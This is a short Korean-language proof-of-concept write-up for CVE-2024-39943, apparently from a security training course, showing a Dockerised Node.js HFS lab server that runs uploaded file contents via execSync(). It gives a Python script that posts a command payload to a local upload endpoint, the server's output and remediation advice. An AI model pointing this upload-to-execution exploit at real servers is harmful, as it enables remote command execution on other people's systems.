Share
## https://sploitus.com/exploit?id=C42F1860-1325-5A0B-AED3-AA8090A857A4
# Node.js HFS λͺ…λ Ήμ–΄ μ‹€ν–‰ 취약점 (CVE-2024-39943)

>ν™”μ΄νŠΈν–‡ 슀쿨 3κΈ° – λ…Έμ •λ―Ό ([@JenmrR](https://github.com/JenmrR))

---

## μš”μ•½

Node.js 기반 HFS μ„œλ²„ ν™˜κ²½μ—μ„œ, μ—…λ‘œλ“œλœ 파일의 λ‚΄μš©μ„ `child_process.execSync()`둜 μ‹€ν–‰ν•˜λŠ” 취약점이 μ‘΄μž¬ν•œλ‹€.  
κ³΅κ²©μžλŠ” 파일 μ—…λ‘œλ“œ κΈ°λŠ₯을 톡해 OS λͺ…λ Ήμ–΄λ₯Ό 직접 μ‹€ν–‰ν•  수 있으며, μ„œλ²„ λ‚΄λΆ€ λͺ…λ Ήμ–΄ κ²°κ³Όλ₯Ό ν™•μΈν•˜κ±°λ‚˜ μ‹œμŠ€ν…œμ„ μ œμ–΄ν•  수 μžˆλ‹€.  
μ΄λŠ” CVE-2024-39943에 ν•΄λ‹Ήν•˜λŠ” μ·¨μ•½μ μœΌλ‘œ, λͺ…λ Ήμ–΄ μ£Όμž…(Remote Code Execution)κ³Ό λ™μΌν•œ μˆ˜μ€€μ˜ μœ„ν˜‘μ„ λ°œμƒμ‹œν‚¨λ‹€.

---

## ν™˜κ²½ ꡬ성 및 μ‹€ν–‰

1. Docker ν™˜κ²½μ„ 톡해 μ„œλ²„ μ‹€ν–‰
2. μ„œλ²„λŠ” `/upload` 경둜둜 파일 μ—…λ‘œλ“œλ₯Ό μˆ˜μ‹ ν•˜λ©°, μ—…λ‘œλ“œλœ 파일 λ‚΄μš©μ„ κ·ΈλŒ€λ‘œ λͺ…λ Ήμ–΄λ‘œ μ‹€ν–‰
3. κ³΅κ²©μžλŠ” μ—…λ‘œλ“œλ₯Ό 톡해 RCE κ°€λŠ₯

### μ‹€ν–‰ 흐름

```bash
$ sudo docker-compose up --build -d
```

```bash
$ python3 poc.py
```

### poc.py

```python
import requests

payload = 'echo Hello_From_Hacked_Server'
files = { 'file': ('exploit.txt', payload) }

r = requests.post('http://localhost:8080/upload', files=files)
print(r.text)
```

---

## κ²°κ³Ό

**PoC μ‹€ν–‰ ν›„ μ„œλ²„ 응닡:**

```
Executed:
Hello_From_Hacked_Server
```
  
![poc-result](./images/poc-output.png)

---

## 정리

- λ³Έ 취약점은 μ™ΈλΆ€ μž…λ ₯을 OS λͺ…λ Ήμ–΄λ‘œ μ‹€ν–‰ν•  경우 λ°œμƒν•˜λŠ” μ „ν˜•μ μΈ RCE(Remote Command Execution) 취약점이닀.
- μ—…λ‘œλ“œλœ 파일 λ‚΄μš©μ„ 직접 `execSync()`둜 μ‹€ν–‰ν•˜λŠ” 방식은 μ‹¬κ°ν•œ λ³΄μ•ˆ μœ„ν—˜μ„ μœ λ°œν•œλ‹€.
- μ‚¬μš©μž μž…λ ₯은 항상 검증해야 ν•˜λ©°, μ„œλ²„ λ‚΄μ—μ„œ 직접 μ‹€ν–‰ν•˜μ§€ μ•Šμ•„μ•Ό ν•œλ‹€.

---